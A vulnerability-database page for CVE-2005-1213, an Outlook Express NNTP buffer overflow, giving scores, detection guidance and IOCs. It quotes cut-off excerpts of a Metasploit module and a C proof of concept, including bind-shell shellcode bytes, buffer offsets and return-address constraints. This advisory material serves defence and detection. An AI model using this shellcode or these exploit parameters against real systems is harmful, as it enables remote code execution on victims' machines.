CVE-2005-1213
published 2005-06-14CVE-2005-1213: Stack-based buffer overflow in the news reader for Microsoft Outlook Express (MSOE.DLL) 5.5 SP2, 6, and 6 SP1 allows remote malicious NNTP servers to execute…
PriorityP356high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
73.96%
99.4th percentile
Stack-based buffer overflow in the news reader for Microsoft Outlook Express (MSOE.DLL) 5.5 SP2, 6, and 6 SP1 allows remote malicious NNTP servers to execute arbitrary code via a LIST response with a long second field.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | outlook_express | — | — |
| microsoft | outlook_express | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x96\x27\xc8\x3e
bytes↗
\xEB\x06\xEB\x06
- →Exploit triggers via a malicious NNTP server sending a crafted LIST response; monitor for inbound NNTP connections (TCP/119) from external/untrusted hosts to client machines running Outlook Express. ↗
- →The exploit payload begins with the NNTP response '215 list' followed by 'group' and a large padding buffer; detect anomalously long NNTP LIST responses (>9500 bytes in the second field) on TCP/119. ↗
- →The exploit uses SEH-based overwrite with alphanumeric-upper encoded payload; look for alphanumeric shellcode patterns immediately following the oversized NNTP LIST group field. ↗
- →The standalone PoC exploit listens on TCP/119 and sends the overflow after receiving two client requests; the evil buffer offset is 0x2598+0x200 (approximately 10136) bytes before appending shellcode. ↗
- →The PoC shellcode opens a bind shell on TCP/4444 (LPORT=4444); monitor for unexpected listening sockets on port 4444 on Windows hosts running Outlook Express after NNTP activity. ↗
- ·The Metasploit module targets only Windows 2000 SP0-SP4 and Windows XP SP0/SP1; the return addresses and offsets are platform-specific and will differ for other OS versions or service packs. ↗
- ·The standalone PoC only includes a return address for Windows 2000 SP4 (all languages); exploitation against other targets requires a different JMP EBX gadget address. ↗
- ·The Metasploit payload space is limited to 750 bytes with no null bytes allowed and requires alphanumeric-upper encoding; payloads exceeding these constraints or containing null bytes will fail. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Outlook Express - NNTP Response Parsing Buffer Overflow (MS05-030) (Metasploit)
exploitdb·2010-05-09
CVE-2005-1213 Microsoft Outlook Express - NNTP Response Parsing Buffer Overflow (MS05-030) (Metasploit)
Microsoft Outlook Express - NNTP Response Parsing Buffer Overflow (MS05-030) (Metasploit)
---
##
# $Id: ms05_030_nntp.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 'Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the news reader of Microsoft
Outlook Express.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2005-1213' ],
[ 'OSVDB', '17306' ],
[ 'BID', '13951' ],
[ 'MSB', 'MS05-03
Exploit-DB
Microsoft Outlook Express - NNTP Buffer Overflow (MS05-030)
exploitdb·2005-06-24
CVE-2005-1213 Microsoft Outlook Express - NNTP Buffer Overflow (MS05-030)
Microsoft Outlook Express - NNTP Buffer Overflow (MS05-030)
---
#include
#include
#include
#include
#pragma comment(lib,"ws2_32")
/* win32_bind - EXITFUNC=process LPORT=4444 Size=344
Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x96"
"\x27\xc8\x3e\x83\xeb\xfc\xe2\xf4\x6a\x4d\x23\x73\x7e\xde\x37\xc1"
"\x69\x47\x43\x52\xb2\x03\x43\x7b\xaa\xac\xb4\x3b\xee\x26\x27\xb5"
"\xd9\x3f\x43\x61\xb6\x26\x23\x77\x1d\x13\x43\x3f\x78\x16\x08\xa7"
"\x3a\xa3\x08\x4a\x91\xe6\x02\x33\x97\xe5\x23\xca\xad\x73\xec\x16"
"\xe3\xc2\x43\x61\xb2\x26\x23\x58\x1d\x2b\x83\xb5\xc9\x3b\xc9\xd5"
"\x95\x0b\x43\xb7\xfa\x03\xd4\x5f\x55\x16\x13\x5a\x1d\x64\xf8\xb5"
"\xd6\x2b\x43\x4e\x8a\x8a\x43\x7e\x9e\x79\xa0\xb0\xd8\x29\x24\x6e"
"\x69\x
Metasploit
MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow
metasploit
MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow
MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow
This module exploits a stack buffer overflow in the news reader of Microsoft Outlook Express.
No writeups or analysis indexed.
http://securitytracker.com/id?1014200http://www.idefense.com/application/poi/display?id=263&type=vulnerabilitieshttp://www.kb.cert.org/vuls/id/130614http://www.securityfocus.com/bid/13951https://docs.microsoft.com/en-us/security-updates/securitybulletins/2005/ms05-030https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1088https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A167https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A989http://securitytracker.com/id?1014200http://www.idefense.com/application/poi/display?id=263&type=vulnerabilitieshttp://www.kb.cert.org/vuls/id/130614http://www.securityfocus.com/bid/13951https://docs.microsoft.com/en-us/security-updates/securitybulletins/2005/ms05-030https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1088https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A167https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A989
2005-06-14
Published